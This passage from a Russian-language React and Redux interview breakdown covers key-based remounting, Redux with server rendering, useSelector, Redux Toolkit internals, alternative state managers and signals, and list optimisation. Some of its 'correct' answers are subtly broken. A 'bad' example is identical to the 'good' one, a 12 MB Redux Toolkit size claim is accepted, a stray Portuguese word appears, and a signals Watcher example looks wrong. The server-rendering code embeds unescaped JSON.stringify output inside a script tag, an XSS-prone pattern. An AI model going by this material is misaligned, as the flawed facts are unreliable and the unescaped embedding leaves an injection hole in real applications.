React DOM: ~35 kB (включая SyntheticEvent)
- Система событий: ~8-10 kB
- Рендеринг: ~15 kB
- Reconciliation: ~10 kB
- Прочее: ~2 kB

Современные альтернативы:

С появлением React 17+ и фокусом на уменьшение размера:

// React 17+ убрал пул событий — код стал проще
// React 18+ добавил Automatic Batching — меньше кода для обработки

// Альтернативы с меньшим размером:
// - Preact: ~3 kB (совместим с React API)
// - Solid.js: ~7 kB (без Virtual DOM)
// - Svelte: компилятор, нет runtime

Итог:

Синтетические события увеличивают размер React из-за:

  • Кода нормализации для кроссбраузерности
  • Поддержки множества типов событий
  • Интеграции с Fiber и приоритетами
  • Механизма делегирования

Это осознанный компромисс: увеличение размера runtime ради единообразия и удобства разработки.

Вопрос 30. Можно ли использовать key в React не только в списках, а в произвольных компонентах, и для чего это может быть полезно?

Таймкод: 00:54:19

Ответ собеседника: Правильный. Да, key можно использовать не только в списках. Использовал на практике для принудительного перемонтирования компонента при изменении ключа — это вызывает полный ре-рендер и пересоздание состояния компонента.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание с примерами.

Как работает key:

key — это идентификатор, который React использует для определения того, какой элемент изменился, был добавлен или удалён. При изменении key React уничтожает старый компонент и создаёт новый.

Использование key вне списков — принудительное перемонтирование:

1. Сброс состояния компонента:

function Form() {
const [formKey, setFormKey] = useState(0);

const handleReset = () => {
setFormKey(prev => prev + 1); // Перемонтирует FormContent
};

return (
<div>
<FormContent key={formKey} />
<button onClick={handleReset}>Reset Form</button>
</div>
);
}

function FormContent() {
const [name, setName] = useState('');
const [email, setEmail] = useState('');

// При изменении key всё состояние сбрасывается
return (
<form>
<input value={name} onChange={e => setName(e.target.value)} />
<input value={email} onChange={e => setEmail(e.target.value)} />
</form>
);
}

2. Переключение между разными экземплярами:

function UserProfile({ userId }) {
return (
<div>
{/* При смене userId компонент перемонтируется */}
<ProfileHeader key={userId} userId={userId} />
<ProfilePosts key={userId} userId={userId} />
</div>
);
}

// Без key React мог бы переиспользовать компонент и показать старые данные

3. Сброс анимаций:

function AnimatedComponent() {
const [animationKey, setAnimationKey] = useState(0);

const triggerAnimation = () => {
setAnimationKey(prev => prev + 1);
};

return (
<div
key={animationKey}
className="animate-fade-in"
onAnimationEnd={triggerAnimation}
>
Content
</div>
);
}

4. Сброс сторонних библиотек:

function Chart({ data }) {
const [chartKey, setChartKey] = useState(0);

useEffect(() => {
// При смене данных пересоздаём график
setChartKey(prev => prev + 1);
}, [data]);

return (
<ChartComponent
key={chartKey}
data={data}
/>
);
}

Практические примеры:

1. Переключение вкладок с сохранением состояния:

function TabContainer() {
const [activeTab, setActiveTab] = useState('profile');

return (
<div>
<button onClick={() => setActiveTab('profile')}>Profile</button>
<button onClick={() => setActiveTab('settings')}>Settings</button>

{activeTab === 'profile' && <ProfilePanel />}
{activeTab === 'settings' && <SettingsPanel />}
</div>
);
}

2. Переключение вкладок с сбросом состояния:

function TabContainer() {
const [activeTab, setActiveTab] = useState('profile');

return (
<div>
<button onClick={() => setActiveTab('profile')}>Profile</button>
<button onClick={() => setActiveTab('settings')}>Settings</button>

{/* При смене вкладки компонент перемонтируется */}
{activeTab === 'profile' && <ProfilePanel key="profile" />}
{activeTab === 'settings' && <SettingsPanel key="settings" />}
</div>
);
}

3. Сброс формы при смене сущности:

function EditForm({ entityId }) {
const [name, setName] = useState('');
const [description, setDescription] = useState('');

useEffect(() => {
// Загрузка данных сущности
loadEntity(entityId).then(data => {
setName(data.name);
setDescription(data.description);
});
}, [entityId]);

return (
<form>
<input value={name} onChange={e => setName(e.target.value)} />
<textarea value={description} onChange={e => setDescription(e.target.value)} />
</form>
);
}

// Использование
function App() {
const [selectedId, setSelectedId] = useState(1);

return (
<div>
<select onChange={e => setSelectedId(Number(e.target.value))}>
<option value={1}>Entity 1</option>
<option value={2}>Entity 2</option>
</select>

{/* При смене ID форма перемонтируется */}
<EditForm key={selectedId} entityId={selectedId} />
</div>
);
}

Когда использовать key для перемонтирования:

СценарийРешение
Сброс формыkey=&#123;formId&#125;
Смена сущности в формеkey=&#123;entityId&#125;
Перезапуск анимацииkey=&#123;animationCount&#125;
Сброс сторонней библиотекиkey=&#123;dataVersion&#125;
Сброс useEffectkey=&#123;dependency&#125;

Предостережения:

// Не используйте key без необходимости
// Это приводит к полному перемонтированию — дорого!

function BadExample({ items }) {
return items.map(item => (
// Плохо: индекс как key в списке с изменяемым порядком
<Item key={item.id} {...item} />
));
}

function GoodExample({ items }) {
return items.map(item => (
// Хорошо: стабильный уникальный идентификатор
<Item key={item.id} {...item} />
));
}

Итог:

key можно использовать в любом компоненте, не только в списках. Основное применение — принудительное перемонтирование для сброса состояния, перезапуска анимаций или сброса интеграций со сторонними библиотеками. Это мощный инструмент, но его следует использовать осознанно, так как перемонтирование — дорогая операция.

Вопрос 31. Можно ли использовать Redux на сервере при SSR и как происходит передача состояния с сервера на клиент?

Таймкод: 00:55:04

Ответ собеседника: Неполный. Да, Redux можно использовать на сервере при SSR. Предположил, что при Next.js с getServerSideProps данные загружаются на сервере, затем состояние передаётся на клиент в виде JSON. Упомянул гидратацию для синхронизации состояния между сервером и клиентом, но не объяснил подробно механизм передачи начального состояния.

Правильный ответ:

Redux можно использовать на сервере при SSR. Процесс включает создание store на сервере, рендеринг с этим store и передачу состояния клиенту для гидратации.

Полный цикл SSR с Redux:

1. Запрос → Сервер
2. Создание Redux store на сервере
3. Загрузка данных в store
4. Рендеринг React с заполненным store
5. Сериализация store в JSON
6. Встраивание JSON в HTML
7. Отправка HTML клиенту
8. Клиент создаёт store с начальным состоянием из JSON
9. Гидратация React

Реализация на сервере:

// server.js
import express from 'express';
import { createStore } from './store';
import { renderToString } from 'react-dom/server';
import { Provider } from 'react-redux';
import App from './App';

const app = express();

app.get('*', async (req, res) => {
// 1. Создаём новый store для каждого запроса
const store = createStore();

// 2. Загружаем данные на сервере
await store.dispatch(fetchUser());
await store.dispatch(fetchPosts());

// 3. Рендерим приложение с заполненным store
const html = renderToString(
<Provider store={store}>
<App />
</Provider>
);

// 4. Получаем состояние для передачи клиенту
const preloadedState = store.getState();

// 5. Отправляем HTML с встроенным состоянием
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>SSR App</title>
</head>
<body>
<div id="root">${html}</div>

<!-- Передаём состояние клиенту -->
<script>
window.__PRELOADED_STATE__ = ${JSON.stringify(preloadedState)};
</script>

<script src="/bundle.js"></script>
</body>
</html>
`);
});

Реализация на клиенте:

// client.js
import { createStore } from './store';
import { hydrate } from 'react-dom';
import { Provider } from 'react-redux';
import App from './App';

// 1. Получаем состояние из глобальной переменной
const preloadedState = window.__PRELOADED_STATE__;

// 2. Удаляем глобальную переменную (безопасность)
delete window.__PRELOADED_STATE__;

// 3. Создаём store с начальным состоянием
const store = createStore(preloadedState);

// 4. Гидратируем приложение
hydrate(
<Provider store={store}>
<App />
</Provider>,
document.getElementById('root')
);

Создание store с поддержкой SSR:

// store.js
import { configureStore } from '@reduxjs/toolkit';
import userReducer from './userSlice';
import postsReducer from './postsSlice';

export function createStore(preloadedState) {
return configureStore({
reducer: {
user: userReducer,
posts: postsReducer,
},
preloadedState, // Начальное состояние с сервера
});
}

Безопасность при сериализации:

// Проблема: JSON.stringify не обрабатывает специальные значения
const state = {
date: new Date(), // → строка
undefined: undefined, // → пропадает
function: () => {}, // → пропадает
regex: /test/, // → {}
NaN: NaN, // → null
Infinity: Infinity, // → null
};

// Решение: используем безопасную сериализацию
function serializeState(state) {
return JSON.stringify(state, (key, value) => {
if (value instanceof Date) {
return { __type: 'Date', value: value.toISOString() };
}
return value;
});
}

function deserializeState(json) {
return JSON.parse(json, (key, value) => {
if (value && value.__type === 'Date') {
return new Date(value.value);
}
return value;
});
}

// Или используем библиотеки
import { serialize, deserialize } from 'superjson';

Next.js пример:

// pages/index.js
import { wrapper } from '../store';

export const getServerSideProps = wrapper.getServerSideProps(
(store) => async (context) => {
// Загружаем данные на сервере
await store.dispatch(fetchUser());
await store.dispatch(fetchPosts());

return {
props: {},
};
}
);

function HomePage() {
const posts = useSelector(state => state.posts.items);

return (
<div>
{posts.map(post => (
<Post key={post.id} post={post} />
))}
</div>
);
}

export default wrapper.withRedux(HomePage);

Гидратация (Hydration):

Серверный HTML:
<div id="root">
<div class="post">
<h2>Title</h2>
<p>Content</p>
</div>
</div>

Гидратация на клиенте:
1. React берёт существующий DOM
2. Сравнивает с виртуальным DOM
3. Привязывает обработчики событий
4. Делает компоненты интерактивными
5. Store инициализируется с серверным состоянием

Проблемы и решения:

1. Несоответствие серверного и клиентского HTML:

// Ошибка: разные данные на сервере и клиенте
function Component() {
const [random] = useState(Math.random()); // Разное на сервере и клиенте!
return <div>{random}</div>;
}

// Решение: используйте данные только из store
function Component() {
const data = useSelector(state => state.data); // Одинаковое везде
return <div>{data}</div>;
}

2. Утечка данных:

// Не передавайте чувствительные данные в window.__PRELOADED_STATE__
const safeState = {
posts: store.getState().posts,
// Не включаем: user.token, user.password и т.д.
};

res.send(`
<script>
window.__PRELOADED_STATE__ = ${JSON.stringify(safeState)};
</script>
`);

Итог:

SSR с Redux:

  • Store создаётся на сервере для каждого запроса
  • Данные загружаются на сервере и сохраняются в store
  • Состояние сериализуется в JSON и встраивается в HTML
  • Клиент создаёт store с начальным состоянием из JSON
  • React гидрирует серверный HTML, делая его интерактивным

Вопрос 32. В каких случаях useSelector вызывает ре-рендер компонента в Redux Toolkit — при изменении только выбранного кусочка стейта или при любом изменении в слайсе?

Таймкод: 00:58:01

Ответ собеседника: Неполный. Предположил, что ре-рендер вызывается только при изменении того кусочка слайса, на который подписан селектор, а не при любом изменении в слайсе. Не упомянул, что useSelector использует строгое сравнение по ссылке (===) и что возврат нового объекта/массива из селектора всегда вызовет ре-рендер.

Правильный ответ:

useSelector вызывает ре-рендер, когда результат селектора изменился по ссылке (strict equality ===). Это ключевой момент, который часто приводит к неожиданным ре-рендерам.

Как работает useSelector:

// useSelector выполняет селектор после каждого dispatch
// Сравнивает новый результат с предыдущим через ===
// Если ссылки разные — ре-рендер

Правильное использование — примитивные значения:

// Хорошо: возвращаем примитив — сравнение по значению
const count = useSelector(state => state.counter.value);
const name = useSelector(state => state.user.name);

// Примитивы сравниваются по значению:
// 5 === 5 → true (нет ре-рендера)
// 'John' === 'Jane' → false (ре-рендер)

Проблема — возврат новых объектов/массивов:

// Плохо: создаём новый объект при каждом вызове
const user = useSelector(state => ({
name: state.user.name,
email: state.user.email,
}));
// Каждый раз новый объект {} === {} → false → ре-рендер!

// Плохо: создаём новый массив
const items = useSelector(state => state.cart.items.filter(i => i.active));
// Каждый раз новый массив [] === [] → false → ре-рендер!

Решения:

1. Несколько useSelector вместо одного:

// Вместо одного селектора с объектом
const name = useSelector(state => state.user.name);
const email = useSelector(state => state.user.email);

// Ре-рендер только при изменении name или email по отдельности

2. Мемоизированные селекторы с reselect:

import { createSelector } from '@reduxjs/toolkit';

// Базовые селекторы
const selectCartItems = state => state.cart.items;

// Мемоизированный селектор
const selectActiveItems = createSelector(
[selectCartItems],
(items) => items.filter(item => item.active)
);

// В компоненте
const activeItems = useSelector(selectActiveItems);
// Новый массив создаётся только если items изменились

3. Сравнение через shallowEqual:

import { shallowEqual, useSelector } from 'react-redux';

// Для объектов и массивов
const user = useSelector(
state => ({
name: state.user.name,
email: state.user.email,
}),
shallowEqual // Поверхностное сравнение
);

Пример с reselect:

import { createSelector } from '@reduxjs/toolkit';

// Базовые селекторы
const selectUsers = state => state.users.items;
const selectFilter = state => state.users.filter;

// Мемоизированный селектор
const selectFilteredUsers = createSelector(
[selectUsers, selectFilter],
(users, filter) => {
console.log('Computing filtered users');
return users.filter(user =>
user.name.toLowerCase().includes(filter.toLowerCase())
);
}
);

// В компоненте
function UserList() {
const filteredUsers = useSelector(selectFilteredUsers);

return (
<ul>
{filteredUsers.map(user => (
<li key={user.id}>{user.name}</li>
))}
</ul>
);
}

Как работает мемоизация в reselect:

Вызов 1: users=[...], filter="john"
→ Вычисляем результат
→ Сохраняем результат и аргументы

Вызов 2: users=[...], filter="john" (те же аргументы)
→ Аргументы не изменились (===)
→ Возвращаем сохранённый результат
→ Ре-рендера нет!

Вызов 3: users=[...], filter="jane" (filter изменился)
→ Аргументы изменились
→ Пересчитываем результат
→ Новый результат → возможен ре-рендер

shallowEqual vs strict equality:

// strict equality (===) — по умолчанию в useSelector
{ a: 1 } === { a: 1 } // false — разные ссылки
[1, 2] === [1, 2] // false — разные ссылки

// shallowEqual — поверхностное сравнение
shallowEqual({ a: 1 }, { a: 1 }) // true — значения равны
shallowEqual([1, 2], [1, 2]) // true — значения равны
shallowEqual(
{ a: { b: 1 } },
{ a: { b: 1 } }
) // false — вложенные объекты сравниваются по ссылке!

Практические рекомендации:

// 1. Примитивы — просто useSelector
const count = useSelector(state => state.counter.value);

// 2. Объекты — shallowEqual или мемоизация
const user = useSelector(state => state.user.profile, shallowEqual);

// 3. Вычисляемые данные — createSelector
const totalPrice = useSelector(selectTotalPrice);

// 4. Массивы — createSelector с фильтрацией/маппингом
const activeUsers = useSelector(selectActiveUsers);

// 5. Вложенные объекты — нормализация состояния
// Храните данные плоско, а не вложенно

Итог:

useSelector вызывает ре-рендер, когда результат селектора изменился по ссылке (===). Для предотвращения ненужных ре-рендеров:

  • Возвращайте примитивы из селекторов
  • Используйте createSelector для мемоизации
  • Используйте shallowEqual для объектов/массивов
  • Нормализуйте состояние в store

Вопрос 33. Что используется под капотом React — контекст, Immer и другие технологии?

Таймкод: 01:01:13

Ответ собеседника: Правильный. Под капотом React используется контекст для передачи данных и Immer для возможности мутировать данных в Redux в иммутабельном стиле. Redux Toolkit включает множество оптимизаций, но из-за этого имеет большой размер — около 12 МБ.

Правильный ответ:

Ответ собеседника частично верен, но требует уточнений. 12 МБ — это размер Redux Toolkit в development-сборке без минификации и gzip. Production-сборка значительно меньше.

Redux Toolkit под капотом:

1. Immer — иммутабельные обновления:

// Без Immer — ручное копирование
const newState = {
...state,
users: {
...state.users,
[userId]: {
...state.users[userId],
name: newName,
},
},
};

// С Immer — мутации внутри reducer
const usersSlice = createSlice({
name: 'users',
initialState: { entities: {} },
reducers: {
updateName(state, action) {
// Immer превращает мутацию в иммутабельное обновление
state.entities[action.payload.id].name = action.payload.name;
},
},
});

Как работает Immer:

// Упрощённая реализация produce
function produce(baseState, recipe) {
// Создаём прокси-объект
const draft = createProxy(baseState);

// Вызываем функцию-рецепт с прокси
recipe(draft);

// Создаём новый объект с изменениями
return createNextState(baseState, draft);
}

2. createEntityAdapter — нормализация данных:

import { createEntityAdapter } from '@reduxjs/toolkit';

const usersAdapter = createEntityAdapter({
selectId: user => user.id,
sortComparer: (a, b) => a.name.localeCompare(b.name),
});

// Генерирует селекторы
const {
selectAll: selectAllUsers,
selectById: selectUserById,
selectIds: selectUserIds,
} = usersAdapter.getSelectors(state => state.users);

// Генерирует редюсеры
const usersSlice = createSlice({
name: 'users',
initialState: usersAdapter.getInitialState(),
reducers: {
addUser: usersAdapter.addOne,
addUsers: usersAdapter.addMany,
updateUser: usersAdapter.updateOne,
removeUser: usersAdapter.removeOne,
upsertUser: usersAdapter.upsertOne,
},
});

3. createAsyncThunk — асинхронные операции:

import { createAsyncThunk } from '@reduxjs/toolkit';

const fetchUser = createAsyncThunk(
'users/fetchUser',
async (userId, { rejectWithValue }) => {
try {
const response = await fetch(`/api/users/${userId}`);
if (!response.ok) throw new Error('Failed');
return await response.json();
} catch (error) {
return rejectWithValue(error.message);
}
},
{
condition: (userId, { getState }) => {
// Предотвращаем повторные запросы
const { users } = getState();
return !users.loading;
},
}
);

// Автоматически создаёт action creators:
// fetchUser.pending
// fetchUser.fulfilled
// fetchUser.rejected

4. RTK Query — кэширование данных:

import { createApi, fetchBaseQuery } from '@reduxjs/toolkit/query/react';

const apiSlice = createApi({
reducerPath: 'api',
baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
tagTypes: ['User', 'Post'],
endpoints: builder => ({
getUsers: builder.query({
query: () => '/users',
providesTags: ['User'],
}),
getUser: builder.query({
query: id => `/users/${id}`,
providesTags: (result, error, id) => [{ type: 'User', id }],
}),
updateUser: builder.mutation({
query: ({ id, ...patch }) => ({
url: `/users/${id}`,
method: 'PATCH',
body: patch,
}),
invalidatesTags: (result, error, { id }) => [{ type: 'User', id }],
}),
}),
});

export const {
useGetUsersQuery,
useGetUserQuery,
useUpdateUserMutation,
} = apiSlice;

Размер бандла Redux Toolkit:

Redux Toolkit:
- Development (без минификации): ~12 MB исходный код
- Development (minified): ~400 kB
- Production (minified + gzipped): ~10-15 kB

Зависимости:
- Immer: ~5 kB gzipped
- reselect: ~2 kB gzipped

React под капотом:

1. Fiber Architecture:

// Fiber — узел виртуального DOM с дополнительной информацией
const fiberNode = {
type: 'div',
props: { className: 'container' },
child: Fiber, // Первый дочерний
sibling: Fiber, // Следующий братский
return: Fiber, // Родительский
alternate: Fiber, // Предыдущая версия (для diffing)
effectTag: 'PLACEMENT' | 'UPDATE' | 'DELETION',
};

2. Reconciliation:

// React сравнивает деревья
function reconcile(oldFiber, newFiber) {
// 1. Разные типы → полная замена
if (oldFiber.type !== newFiber.type) {
return createNewTree(newFiber);
}

// 2. Тот же тип → обновление пропсов
return updateProps(oldFiber, newFiber.props);
}

3. Concurrent Mode:

// React может прервать рендеринг
import { startTransition } from 'react';

// Низкий приоритет — может быть прерван
startTransition(() => {
setResults(expensiveSearch(query));
});

// Высокий приоритет — выполняется сразу
setInputValue(query);

Итог:

Redux Toolkit включает:

  • Immer для иммутабельных обновлений
  • createEntityAdapter для нормализации
  • createAsyncThunk для асинхронных операций
  • RTK Query для кэширования данных

React включает:

  • Fiber Architecture для прерываемого рендеринга
  • Reconciliation для эффективного обновления DOM
  • Concurrent Mode для приоритизации обновлений

Вопрос 34. Какие альтернативные менеджеры состояния помимо Redux существуют, и что такое сигналы (signals)?

Таймкод: 01:02:14

Ответ собеседника: Неполный. Работал в основном с Redux. Из атомарных менеджеров немного знаком с Recoil. Про сигналы (signals) как новомодный подход на основе реактивности не слышал, знает только о signals в Angular.

Правильный ответ:

Существует множество альтернатив Redux с разными подходами к управлению состоянием.

Альтернативные менеджеры состояния:

1. Zustand — минималистичный:

import { create } from 'zustand';

const useStore = create((set, get) => ({
count: 0,
user: null,

increment: () => set(state => ({ count: state.count + 1 })),
decrement: () => set(state => ({ count: state.count - 1 })),

fetchUser: async (id) => {
const response = await fetch(`/api/users/${id}`);
const user = await response.json();
set({ user });
},

// Вычисляемые значения
get doubleCount() {
return get().count * 2;
},
}));

// Использование — просто хук, без Provider
function Counter() {
const count = useStore(state => state.count);
const increment = useStore(state => state.increment);

return <button onClick={increment}>{count}</button>;
}

2. Jotai — атомарный:

import { atom, useAtom } from 'jotai';

// Атом — единица состояния
const countAtom = atom(0);
const userAtom = atom(null);

// Производный атом — вычисляется автоматически
const doubleCountAtom = atom((get) => get(countAtom) * 2);

// Асинхронный атом
const userAsyncAtom = atom(async (get) => {
const response = await fetch('/api/user');
return response.json();
});

// Использование
function Counter() {
const [count, setCount] = useAtom(countAtom);
const [doubleCount] = useAtom(doubleCountAtom);

return (
<div>
<button onClick={() => setCount(c => c + 1)}>{count}</button>
<span>Double: {doubleCount}</span>
</div>
);
}

3. Recoil — атомарный от Facebook:

import { atom, selector, useRecoilState, useRecoilValue } from 'recoil';

const countState = atom({
key: 'count',
default: 0,
});

const doubleCountState = selector({
key: 'doubleCount',
get: ({ get }) => get(countState) * 2,
});

const userState = atom({
key: 'user',
default: selector({
key: 'user/fetch',
get: async () => {
const response = await fetch('/api/user');
return response.json();
},
}),
});

function Counter() {
const [count, setCount] = useRecoilState(countState);
const doubleCount = useRecoilValue(doubleCountState);

return <button onClick={() => setCount(c => c + 1)}>{count}</button>;
}

4. MobX — реактивный:

import { makeAutoObservable } from 'mobx';
import { observer } from 'mobx-react-lite';

class CounterStore {
count = 0;

constructor() {
makeAutoObservable(this);
}

increment() {
this.count++;
}

get doubleCount() {
return this.count * 2;
}
}

const store = new CounterStore();

// Компонент автоматически ре-рендерится при изменении
const Counter = observer(() => (
<button onClick={() => store.increment()}>
{store.count} (double: {store.doubleCount})
</button>
));

5. Valtio — прокси- baseado:

import { proxy, useSnapshot } from 'valtio';

const state = proxy({
count: 0,
user: null,
});

// Мутации напрямую
function increment() {
state.count++;
}

function Counter() {
const snap = useSnapshot(state);

return <button onClick={increment}>{snap.count}</button>;
}

Сигналы (Signals):

Сигналы — реактивный примитив, который отслеживает зависимости автоматически.

Концепция:

Signal (состояние) → Хранит значение, отслеживает кто читает

Computed (вычисляемое) → Автоматически пересчитывается при изменении зависимостей

Effect (эффект) → Автоматически запускается при изменении зависимостей

Реализация сигналов (TC39 Proposal):

import { Signal } from 'signal-polyfill';

// Создаём сигнал
const count = new Signal.State(0);

// Читаем значение (отслеживается)
console.log(count.get()); // 0

// Создаём вычисляемое значение
const doubleCount = new Signal.Computed(() => count.get() * 2);

console.log(doubleCount.get()); // 0

// Обновляем сигнал
count.set(5);

// Вычисляемое значение обновилось автоматически
console.log(doubleCount.get()); // 10

// Effect — побочный эффект
const effect = new Signal.subtle.Watcher(() => {
console.log('Count changed:', count.get());
});

effect.watch(count);

Сигналы в Solid.js:

import { createSignal, createEffect, createMemo } from 'solid-js';

function Counter() {
// Сигнал — пара getter/setter
const [count, setCount] = createSignal(0);

// Вычисляемое значение — автоматически пересчитывается
const doubleCount = createMemo(() => count() * 2);

// Эффект — запускается при изменении
createEffect(() => {
console.log('Count changed:', count());
document.title = `Count: ${count()}`;
});

return (
<button onClick={() => setCount(count() + 1)}>
{count()} (double: {doubleCount()})
</button>
);
}

Сигналы в Preact:

import { signal, computed, effect } from '@preact/signals';

// Сигнал
const count = signal(0);

// Вычисляемое
const doubleCount = computed(() => count.value * 2);

// Эффект
effect(() => {
console.log('Count:', count.value);
});

// Использование в компоненте
function Counter() {
return (
<button onClick={() => count.value++}>
{count.value} (double: {doubleCount.value})
</button>
);
}

Сравнение подходов:

ПодходМодельРе-рендерСложностьРазмер
ReduxЦентрализованное хранилищеРучная оптимизацияВысокая~10 kB
ZustandЦентрализованноеАвтоматическаяНизкая~1 kB
JotaiАтомарнаяАвтоматическаяСредняя~3 kB
RecoilАтомарнаяАвтоматическаяСредняя~15 kB
MobXРеактивнаяАвтоматическаяСредняя~16 kB
ValtioПроксиАвтоматическаяНизкая~1 kB
SignalsРеактивнаяАвтоматическаяНизкая~2 kB

Преимуществ сигналов:

// 1. Автоматическое отслеживание зависимостей
const firstName = signal('John');
const lastName = signal('Doe');
const fullName = computed(() => `${firstName.value} ${lastName.value}`);

// fullName автоматически обновится при изменении firstName или lastName

// 2. Гранулярные обновления — обновляется только то, что использует сигнал
// В отличие от React, где обновляется весь компонент

// 3. Нет необходимости в мемоизации
// Вычисляемые значения кэшируются автоматически

Итог:

Сигналы — это реактивный примитив, который:

  • Автоматически отслеживает зависимости
  • Обновляет только то, что использует изменившееся значение
  • Не требует ручной мемоизации
  • Может использоваться вне UI-фреймворков

TC39 Proposal для нативных сигналов находится на Stage 1. Solid.js, Preact, Angular уже используют сигналы.

Вопрос 35. Задача: реализовать список элементов в React так, чтобы при удалении или добавлении элемента перерисовывались только изменённые элементы, а не весь список.

Таймкод: 01:03:49

Ответ собеседника: Неполный. Предложил использовать уникальный ключ вместо индекса массива. Понял необходимость мемонизации через React.memo и useCallback для предотвращения пересоздания функций и ре-рендеров. В процессе решения допустил дублирование кода и не завершил до конца, но двигался в правильном направлении.

Правильный ответ:

Для оптимизации списка нужно решить несколько проблем: правильные ключи, мемоизация компонентов и стабильные ссылки на функции.

Полное решение:

import React, { useState, useCallback, memo } from 'react';

// 1. Мемоизированный компонент элемента списка
const ListItem = memo(({ item, onRemove, onUpdate }) => {
console.log(`Rendering item: ${item.id}`);

return (
<div className="list-item">
<input
value={item.text}
onChange={(e) => onUpdate(item.id, e.target.value)}
/>
<button onClick={() => onRemove(item.id)}>Remove</button>
</div>
);
});

// Имя для отладки
ListItem.displayName = 'ListItem';

// 2. Основной компонент списка
function OptimizedList() {
const [items, setItems] = useState([
{ id: 1, text: 'Item 1' },
{ id: 2, text: 'Item 2' },
{ id: 3, text: 'Item 3' },
]);

// 3. useCallback для стабильных ссылок на функции
const handleRemove = useCallback((id) => {
setItems(prev => prev.filter(item => item.id !== id));
}, []);

const handleUpdate = useCallback((id, newText) => {
setItems(prev => prev.map(item =>
item.id === id ? { ...item, text: newText } : item
));
}, []);

const handleAdd = useCallback(() => {
const newId = Math.max(...items.map(i => i.id), 0) + 1;
setItems(prev => [...prev, { id: newId, text: `Item ${newId}` }]);
}, [items]);

return (
<div>
<button onClick={handleAdd}>Add Item</button>
<div className="list">
{items.map(item => (
// 4. Уникальный ключ — не индекс!
<ListItem
key={item.id}
item={item}
onRemove={handleRemove}
onUpdate={handleUpdate}
/>
))}
</div>
</div>
);
}

Что происходит при удалении:

Список: [1, 2, 3, 4, 5]
Удаляем: 3
Новый: [1, 2, 4, 5]

React diffing:
- key=1: тот же элемент → не перерисовываем
- key=2: тот же элемент → не перерисовываем
- key=3: удалён → удаляем из DOM
- key=4: тот же элемент → не перерисовываем
- key=5: тот же элемент → не перерисовываем

Результат: перерисован только удалённый элемент (key=3)

Проблемы и решения:

Проблема 1: Индекс как key:

// Плохо: индекс как key
{items.map((item, index) => (
<ListItem key={index} item={item} />
))}
// При удалении элемента все последние элементы перерисовываются!

// Хорошо: уникальный id как key
{items.map(item => (
<ListItem key={item.id} item={item} />
))}

Проблема 2: Новые функции при каждом рендере:

// Плохо: новая функция при каждом рендере
{items.map(item => (
<ListItem
key={item.id}
item={item}
onRemove={(id) => setItems(items.filter(i => i.id !== id))}
// Каждый рендер создаёт новую функцию → React.memo не помогает
/>
))}

// Хорошо: useCallback сохраняет ссылку
const handleRemove = useCallback((id) => {
setItems(prev => prev.filter(item => item.id !== id));
}, []);

Проблема 3: Новые объекты при каждом рендере:

// Плохо: новый объект в пропсах
<ListItem
key={item.id}
item={{ ...item, extra: true }} // Новый объект каждый раз!
/>

// Хорошо: стабильная ссылка
<ListItem
key={item.id}
item={item} // Та же ссылка, если item не изменился
/>

Продвинутая оптимизация с виртуализацией:

Для очень больших списков (тысячи элементов) используется виртуализация:

import { useVirtualizer } from '@tanstack/react-virtual';

function VirtualizedList({ items }) {
const parentRef = useRef(null);

const virtualizer = useVirtualizer({
count: items.length,
getScrollElement: () => parentRef.current,
estimateSize: () => 50, // Ожидаемая высота элемента
overscan: 5, // Рендерим на 5 элементов больше для плавной прокрутки
});

return (
<div ref={parentRef} style={{ height: '400px', overflow: 'auto' }}>
<div
style={{
height: `${virtualizer.getTotalSize()}px`,
position: 'relative',
}}
>
{virtualizer.getVirtualItems().map(virtualItem => (
<div
key={items[virtualItem.index].id}
style={{
position: 'absolute',
top: 0,
left: 0,
width: '100%',
height: `${virtualItem.size}px`,
transform: `translateY(${virtualItem.start}px)`,
}}
>
<ListItem item={items[virtualItem.index]} />
</div>
))}
</div>
</div>
);
}

Чек-лист оптимизации списка:

✅ Использовать уникальный key (не индекс)
✅ Оборачивать элементы в React.memo
✅ Использовать useCallback для обработчиков
✅ Использовать useMemo для вычисляемых данных
✅ Избегать создания объектов/массивов в render
✅ Для больших списков — виртуализация
✅ Использовать профайлер для проверки

Проверка с React DevTools:

// Включаем Highlight updates в React DevTools
// При изменении списка подсвечиваются только перерисованные компоненты

// Или добавляем лог в компонент
const ListItem = memo(({ item }) => {
console.log(`Render: ${item.id}`);
return <div>{item.text}</div>;
});

Итог:

Для оптимизации списка:

  1. Уникальный key — не индекс, а стабильный идентификатор
  2. React.memo — предотвращает ре-рендер при неизменных пропсах
  3. useCallback — стабильные ссылки на функции
  4. useMemo — мемоизация вычислений
  5. Виртуализация — для списков с тысячами элементов